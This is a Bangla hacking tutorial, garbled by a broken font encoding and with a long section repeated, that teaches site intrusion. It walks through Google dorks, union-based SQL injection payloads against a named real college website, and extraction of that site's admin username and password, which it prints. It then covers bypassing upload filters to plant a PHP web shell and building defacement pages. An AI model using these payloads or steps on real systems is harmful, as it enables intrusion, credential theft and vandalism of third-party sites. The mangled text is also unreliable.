এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 60: Hacking Bangla eBook

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

